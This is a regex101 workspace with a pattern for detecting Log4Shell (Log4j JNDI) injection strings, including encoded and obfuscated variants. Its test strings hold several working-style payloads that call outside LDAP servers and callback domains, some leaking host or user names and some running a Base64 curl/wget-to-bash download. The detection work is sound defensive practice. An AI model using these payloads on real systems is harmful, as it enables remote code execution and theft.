regex101: PCRE (Legacy) Match Workspace

(?i)applies the following effective flags to the remainder of the pattern: gmi

i modifier: insensitive. Matches without distinguishing uppercase and lowercase letters

Group 1((%(25){0,}20|\s)*(%(25){0,}24|\$)(%(25){0,}20|\s)*(%(25){0,}7B|{){0,1}(%(25){0,}20|\s)*(%(25){0,}(6A|4A)|J)(%(25){0,}(6E|4E)|N)(%(25){0,}(64|44)|D)(%(25){0,}(69|49)|I)(%(25){0,}20|\s)*(%(25){0,}3A|:)[\w\%]+(%(25){1,}3A|:)(%(25){1,}2F|\/)|\$((::-[A-Z%]}\$){1,}|(ENV|LOWER|UPPER):).+[:}]{2}\/)

1st Alternative(%(25){0,}20|\s)*(%(25){0,}24|\$)(%(25){0,}20|\s)*(%(25){0,}7B|{){0,1}(%(25){0,}20|\s)*(%(25){0,}(6A|4A)|J)(%(25){0,}(6E|4E)|N)(%(25){0,}(64|44)|D)(%(25){0,}(69|49)|I)(%(25){0,}20|\s)*(%(25){0,}3A|:)[\w\%]+(%(25){1,}3A|:)(%(25){1,}2F|\/)

Group 2(%(25){0,}20|\s)*

*repeats the group contents below any number of times:

1st Alternative%(25){0,}20

%the literal % (37₁₀ / 45₈ / 25₁₆)

Group 3(25){0,}

{0,}repeats the group contents below any number of times:

25the literal text 25

20the literal text 20

2nd Alternative\s

\sany whitespace character

Group 4(%(25){0,}24|\$)

1st Alternative%(25){0,}24

%the literal % (37₁₀ / 45₈ / 25₁₆)

Group 5(25){0,}

{0,}repeats the group contents below any number of times:

25the literal text 25

24the literal text 24

2nd Alternative\$

\$the literal $ (36₁₀ / 44₈ / 24₁₆)

Group 6(%(25){0,}20|\s)*

*repeats the group contents below any number of times:

1st Alternative%(25){0,}20

%the literal % (37₁₀ / 45₈ / 25₁₆)

Group 7(25){0,}

{0,}repeats the group contents below any number of times:

25the literal text 25

20the literal text 20

2nd Alternative\s

\sany whitespace character

Group 8(%(25){0,}7B|{){0,1}

{0,1}repeats the group contents below at most once:

1st Alternative%(25){0,}7B

%the literal % (37₁₀ / 45₈ / 25₁₆)

Group 9(25){0,}

{0,}repeats the group contents below any number of times:

25the literal text 25

7Bthe literal text 7B (case insensitive)

2nd Alternative{

{the literal { (123₁₀ / 173₈ / 7B₁₆)

Group 10(%(25){0,}20|\s)*

*repeats the group contents below any number of times:

1st Alternative%(25){0,}20

%the literal % (37₁₀ / 45₈ / 25₁₆)

Group 11(25){0,}

{0,}repeats the group contents below any number of times:

25the literal text 25

20the literal text 20

2nd Alternative\s

\sany whitespace character

Group 12(%(25){0,}(6A|4A)|J)

1st Alternative%(25){0,}(6A|4A)

%the literal % (37₁₀ / 45₈ / 25₁₆)

Group 13(25){0,}

Group 14(6A|4A)

2nd AlternativeJ

Group 15(%(25){0,}(6E|4E)|N)

Group 18(%(25){0,}(64|44)|D)

Group 21(%(25){0,}(69|49)|I)

Group 24(%(25){0,}20|\s)*

Group 26(%(25){0,}3A|:)

Character Class[\w\%]+

Group 28(%(25){1,}3A|:)

Group 30(%(25){1,}2F|\/)

2nd Alternative\$((::-[A-Z%]}\$){1,}|(ENV|LOWER|UPPER):).+[:}]{2}\/

Negated Character Class[^\n]+

Global pattern flags

g modifier: global. Finds all matches instead of stopping after the first

m modifier: multiline. Causes ^ and $ to match the start and end of each line, not only the start and end of the string

Search reference

Regular Expression

(?i)((%(25){0,}20|\s)*(%(25){0,}24|\$)(%(25){0,}20|\s)*(%(25){0,}7B|{){0,1}(%(25){0,}20|\s)*(%(25){0,}(6A|4A)|J)(%(25){0,}(6E|4E)|N)(%(25){0,}(64|44)|D)(%(25){0,}(69|49)|I)(%(25){0,}20|\s)*(%(25){0,}3A|:)[\w\%]+(%(25){1,}3A|:)(%(25){1,}2F|\/)|\$((::-[A-Z%]}\$){1,}|(ENV|LOWER|UPPER):).+[:}]{2}\/)[^\n]+

Test String
New

Primary conditions:
(?i)(%(25){0,}20|\s)*(%(25){0,}24|\$)(%(25){0,}20|\s)*(%(25){0,}7B|{){0,1}(%(25){0,}20|\s)*(%(25){0,}(6A|4A)|J)(%(25){0,}(6E|4E)|N)(%(25){0,}(64|44)|D)(%(25){0,}(69|49)|I)(%(25){0,}20|\s)*(%(25){0,}3A|:)[\w\%]+(%(25){1,}3A|:)(%(25){1,}2F|\/)[^\n]+

Secondary conditions:
(?i)\$((::-[A-Z%]}\$){1,}|(ENV|LOWER|UPPER):).+[:}]{2}\/[^\n]+

$$::-j}$::-n}$::-d}$::-i}:$::-l}$::-d}$::-a}$::-p}://$hostName}.c6qg2lspu892jo716f40cg4oaxeyurbne.interactsh.com}

$$::-j}$::-n}$::-d}$::-i}:$::-l}$::-d}$::-a}$::-p}://45.146.164.160:1389/t}

$$::-j}$::-n}$::-d}$::-i}:$::-l}$::-d}$::-a}$::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDYuMjkuMTY4LjI1Mzo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUu

$$env:ENV_NAME:-j}n$env:ENV_NAME:-d}i$env:ENV_NAME:-:}$env:ENV_NAME:-l}d$env:ENV_NAME:-a}p$env:ENV_NAME:-:}//45.146.164.160:8081/w}

$$lower:$lower:jndi}}:ld$lower:ap}://45.146.164.160:1389/t}

$$lower:j}$upper:n}$lower:d}$upper:i}:$lower:l}$upper:d}$lower:a}$upper:p}://45.146.164.160:1389/t}

$jndi:$lower:l}$lower:d}a$lower:p}://world443.log4j.bin$upper:a}ryedge.io:80/callback}

$jndi:ldap://$env:user}.egrc.external.blarg.com.lujv9ndjcmlh27ea91gyrl6umlsbg0.burpcollaborator.net/a}

$jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDYuMjkuMTY4LjI1Mjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjA2LjI5LjE2OC4yNTI6NDQzKXxiYXNo}

Regular Expression

Test StringNew

Test String
New